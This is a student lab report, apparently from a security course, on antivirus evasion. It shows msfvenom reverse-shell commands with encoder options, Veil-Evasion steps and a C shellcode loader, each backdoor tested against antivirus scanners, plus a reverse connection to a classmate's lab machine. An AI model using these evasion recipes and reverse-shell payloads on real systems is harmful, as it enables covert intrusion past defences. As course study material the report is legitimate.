20155205 郝博雅 Exp3 免杀原理与实践
一、基础问题回答
(1)杀软是如何检测出恶意代码的?
- 答:++基于特征码的检测++<简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码>。++启发式恶意软件检测++,就是根据些片面特征去推断。++基于行为的恶意软件检测++,这个也很容易理解,就是根据程序有什么行为来判断他是好是坏。
(2)免杀是做什么?
- 答:木马或恶意程序、软件避免被杀毒软件或管理员发现并删除。
(3)免杀的基本方法有哪些?
- 答:1、修改特征码。2、加壳<可以用一些比较生僻的壳对木马文件进行保护,阻止外部程序或软件对加壳程序的反汇编分析或者动态分析>。3、伪装,防止被行为查杀。
二、实验内容
1.使用msf生成后门程序的检测
将上次实验生成的后门程序放到virscan上
咦?为啥说有广告,只能改个名啦
- 我们可以看到扫描的结果:
- 利用msfvenom对后门进行编码处理,比如10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.206.132 LPORT=5205 -f exe > 5205-encode10.exe
- 会不会好一点呢?我们来看一下
- 这说明编译的次数是不会改变他被杀的事实的。。。
- 把他传到windows里直接被查杀。
2.使用veil-evasion生成后门程序的检测
- 进入veil
- 输入下面的指令设置veil
use evasion
use python/meterpreter/rev_tcp.py
set LHOST 192.168.206.132
set LPORT 5205
- 输入
generate
生成payload,名字设为payload5205.
- 使用老师给的方法会出错,无法生成后门文件,在veil中使用
list
查看可以use啥,看到了这个7,我们重新做一遍上面的设置。
- 重新的步骤为:
use evasion
use 7
set LHOST 192.168.206.132
set LPORT 5205
- 可以看到成功啦
- 找到他,然后放到virscan上扫描一下,发现比msf编译过的强多了!
- 传到windows里后double kill
3.利用shellcode编写后门程序的检测
- 使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.132 LPORT=443 -f c
生成shellcode
- 将上述数组加上主函数生成5205.c文件,之后用命令
i686-w64-mingw32-g++ 5205.c -o 5205.exe
将.c文件转换为可执行文件5205.exe
- 扫描一下下发现居然不如veil生成的。。。
- 传到Windows下,日常被杀。。。
4.Linux平台交叉编译Windows应用
#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//192.168.6.129 443 reverse_tcp
const char met[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"此处省去若干行"
"\x53\xff\xd5";
int main()
{
DWORD old = 0;
BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);
INT32 * addr;
addr =(INT32*) &met;
__asm;
{
call addr;
}
return 0;
}
5.实现免杀后回连
- 输入下面的指令生成后门,攻击20155218徐志瀚同学的windows
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai x86/bloxer -i 10 LHOST=192.168.206.132 LPORT=5205 -f c
- 可以实现回连,成功窥探他的小秘密
三、实验体会
- 没有想到自己的电脑是这么这么的弱,而且发现攻击安全意识不强的人的电脑十分容易!虽然做实验的时候电脑卡的不要不要的,成功改了程序免杀还是很开心。